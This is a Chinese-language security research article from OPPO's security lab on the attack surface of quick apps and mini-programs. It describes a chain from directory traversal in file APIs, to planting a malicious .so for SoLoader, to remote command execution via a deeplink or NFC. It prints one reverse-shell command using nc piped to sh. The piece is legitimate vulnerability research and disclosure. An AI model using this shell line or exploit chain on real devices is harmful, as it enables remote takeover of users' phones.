1. 背景简介
随着5G时代来临,互联网信息爆炸式增长,移动应用逐渐变得体积庞大且功能复杂。一方面普通消费者会越来越少地去下载客户端,绝大多数需求需要以更轻量化的方式得到满足,另一方面,每一个超级APP或手机厂商都想生态化的汇聚更多内容。由此,“快应用”一类的免安装应用应运而生。
今年,OPPO子午实验室在Black Hat Asia黑帽大会上分享了针对免安装应用的研究与分析成果,如何从普通接口调用到应用权限的远程命令执行,我们将在本篇文章中进行更为详尽的分析。
BlackHat是由传奇黑客Jeff Moss于1997年创办的全球性网络安全大会,被誉为黑客世界的“奥斯卡”,每年分别在美国、欧洲、亚洲各举办一场,作为全球信息安全行业的顶级盛会,自诞生以来每年都吸引了全球众多企业、政府机构和顶级安全厂商、研究组织的关注和参与。
2. 架构简介
免安装应用架构多样,但从整体上看可以分为移动操作系统厂商与平台型应用厂商两种不同的派别。
移动操作系统厂商
国外以谷歌、苹果为代表的操作系统厂商充分利用作为平台的优势,也方便开发者快速上手,将传统的Android与iOS应用模块化,结构、开发语言要求等均不变,应用可以根据实际情况按需加载,极大程度上缩减了用户的使用等待时间,进而实现”免安装“的效果。
谷歌InstantApp与苹果AppleClips对于安卓和iOS来说更多是一个“临时应用”的角色,因此操作系统会对其可访问的数据、权限有所限制。比如iOS中,AppleClips不能和其他应用自由的交换数据,只能与自己对应的完整应用(full-app)进行数据共享;AppleClips不能进行后台服务,也不能访问通讯录、文件管理、短信等用户敏感数据,甚至连通知都会在申请8小时之后自动撤销。
平台型应用厂商
平台型应用厂商以国内的为显著代表,诸如国内九大安卓手机厂商所创建的快应用平台、微信、支付宝等。此类平台型应用充分吸收了传统H5应用的优势,并将其与移动应用的JS-Bridge相结合。
快应用/小程序引擎实际上与浏览器的多进程架构非常类似,将我们的Web前端应用打包之后运行在引擎之上,不同快应用/小程序运行在不同的进程中,互不干扰。引擎作为中间人,一方面承担着快应用/小程序代码解释器,另一方面也是快应用/小程序与操作系统内核、底层硬件沟通的双向桥梁。
3. 攻击面解析
对于谷歌InstantApp与苹果AppleClips的攻击方式篇幅限制,不在此赘述。下文主要分析国内用户更常使用的快应用/小程序的攻击面。
如下图架构纵览所示,业务服务端、引擎服务端、引擎、原生Android/iOS应用、操作系统与底层硬件五者之间存在着诸多数据交互进程,而引擎又仿佛是架设在Android/iOS之上的微型OS,支撑并管理快应用/小程序生态正常运行。
3.1 从应用下载启动流程看
在包下载的过程中,存在两条攻击路径,如果厂商未使用严格的HTTPS传输,攻击者可在下载过程替换数据,将恶意内容回传给客户端;另外如果厂商将包临时下载到手机的外部存储,恶意应用也可以抓住这个时机进行替换,当然这也依赖于引擎未对包做文件校验。
3.2 从引擎提供接口看
无论是小程序还是快应用都提供了许多调用系统或者底层硬件的接口,从拍照录音到操作文件系统,众多的接口隐藏着巨大的安全隐患。总体可以归为如下几类:
1) 传感器或硬件调用类:电量、蓝牙、NFC、屏幕、键盘、加速计、罗盘等
针对此类不包含用户敏感数据的接口,我们需要关注的便是授权,快应用/小程序是否可以不经过授权调用接口能力或一次授权永久授权;
2) 文件系统: 创建文件/目录、下载文件、上传文件、删除文件/目录、解压文件等
文件系统直接与Android/iOS操作系统交互,具有很高的风险,需要关注的点较多,如下:
授权,快应用/小程序需要获得用户授权才能调用接口读写文件系统;
可操作文件系统范围,快应用/小程序可操作的根目录是否被限制在私有目录下的一个具体目录内;
接口是否判断了目录穿越符号../,下载文件接口或解压接口能否穿越目录跳出可操作文件系统范围;
接口在底层可能调用了C++函数或系统函数,是否能够注入恶意字符串执行命令或删除不可期的目录文件。
3) 平台特色:实名认证、广告、应用下载、卡券、红包、账号体系、支付等
此类与服务端交互的接口更多的是业务逻辑漏洞,我们需要关注这些接口是否在客户端完成校验,哪怕是整个校验流程中的一步,都有可能造成巨大危害。
实名认证、支付等接口,客户端验证可能绕过儿童模式管制或付费体系,实现本地破解;
广告、应用下载等计费接口,快应用/小程序能否绕过计费或刷量;
4) 操作系统调用:相机、录音、应用跳转、数据存储、通知、WebView、剪贴板、联系人、日历等
操作系统调用涉及用户敏感信息,除了上述的授权之外,我们需要关注:
接口能否在后台持续运行,比如录音,拍照;
WebView能否打开任意URL,并携带身份信息字段;
应用跳转范围是否可控,支持哪些协议;
数据存储的位置是否安全,其他快应用/小程序或者原生应用能否篡改;
3.3 从引擎底层看
引擎自身由逻辑代码JavaScript解析引擎、WebView组件、图片音视频解码组件、JS to C++/Swift/ObjcC系统调用库等组成。
1)我们首先说说JS引擎,不同平台不同厂商使用的JS引擎各不相同,但总归是基于V8或者JavaScriptCore,快应用/小程序引擎首先将JS文件预处理、结构化,再交由JS引擎进行优化执行。
小程序 | 快应用 | |
Android | X5内核/UC内核 | V8引擎 |
iOS | JavaScriptCore | --- |
也就是说如果我们在小程序/快应用的逻辑代码层也就是小程序的js文件、快应用的ux文件中插入V8/JSC的漏洞利用代码,等待引擎进行解析执行便可造成文件读写甚至命令执行,当然具体效果这也取决于不同厂商在对JS引擎漏洞缓解措施。
2)图片音视频解码组件
名称 | 组件 | 是否有历史CVE漏洞 |
音频 | MediaBrowserCompat、FFmpeg... | 未知 |
JPG/JPEG | libjpeg-turbo、... | 存在 |
视频 | Mediacodec、libstagefright、FFmpeg... | 存在 |
快应用/小程序支持多种图片格式解析、音视频播放、live直播等,除了依赖操作系统底层的组件外,自身可能嵌入了很多自定义动态链接库,而很多动态链接库比如libjpeg-turbo、FFmpeg都是存在历史CVE漏洞了,而对这些库的Fuzz也是比较方便的,因此这是快应用/小程序引擎的一个潜在攻击面。
4. 从目录穿越到远程命令执行
我们在第二章节提到过,文件系统是引擎提供的权限很高的接口,稍不慎便可造成命令执行等,于是我们便从此既定目标出发,看看在快应用中能否实现目录穿越。
快应用实现了较多的文件读写操作API,比如:
access(object)
appendFile(object)
mkdir(object)
readFile(object)
rename(object)
readdir(object)
...
如果要实现远程攻击,则我们需要从网络上向受害者设备下载写入文件,自然而然,我们首先尝试使用其中某接口穿越到lib-main写入动态链接库lib-xxx.so
经过真机测试,我们成功写入了恶意的so文件加载库:
那为什么我们要向这个目录写入so文件呢?那我们需要提到一个东西——Facebook SoLoader。
SoLoader是facebook推出的一个So文件加载库,它封装了System.loadLibrary并且能够处理So文件的依赖。
当React Native应用第一次启动时,SoLoader会在`/data/data/package_name`下创建一个`lib-main`文件夹并根据规则提取apk中的So文件到其中。
如此我们便可让引擎加载我们恶意的so文件加载库,达到本地命令执行的效果:
shell.so 执行 => system("/system/bin/toybox nc 192.168.1.153 1233 | /system/bin/sh &");
但要实现远程命令执行还远远不够,受害者需要打开目标快应用,并二次重启快应用引擎。我们知道快应用支持二维码、deeplink、NFC等方式打开应用,于是整个漏洞利用链如下:
只需要用户点击hap scheme链接或者接触NFC设备,我们便可实现远程命令执行。
5. 总结与展望
本文提到的免安装应用攻击面与漏洞利用方式或许只是冰山一角,但免安装应用是移动应用的的未来发展趋势,跨平台的特性,不仅在手机终端广泛使用,也开始搭载在新能源汽车的车机系统之中,或许以后还能够在工控、医疗、穿戴设备上看到它的身影,它的漏洞潜在威力实在不容小觑。
6. 引用链接
[1] https://www.infoq.cn/article/huawei-quickapp-engine-architecture
[2] https://github.com/facebook/SoLoader
作者简介
Zhiyang OPPO子午安全实验室网络安全工程师
OPPO子午安全实验室成立于2019年,以“保护用户的安全与隐私,为品牌注入安全基因”为使命,持续关注业务安全、红蓝对抗、AIoT安全、Android安全、数据和隐私保护等领域,深耕安全攻防研究及研发体系安全建设。
本文版权归OPPO公司所有。
声明:本文来自OPPO数智技术,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。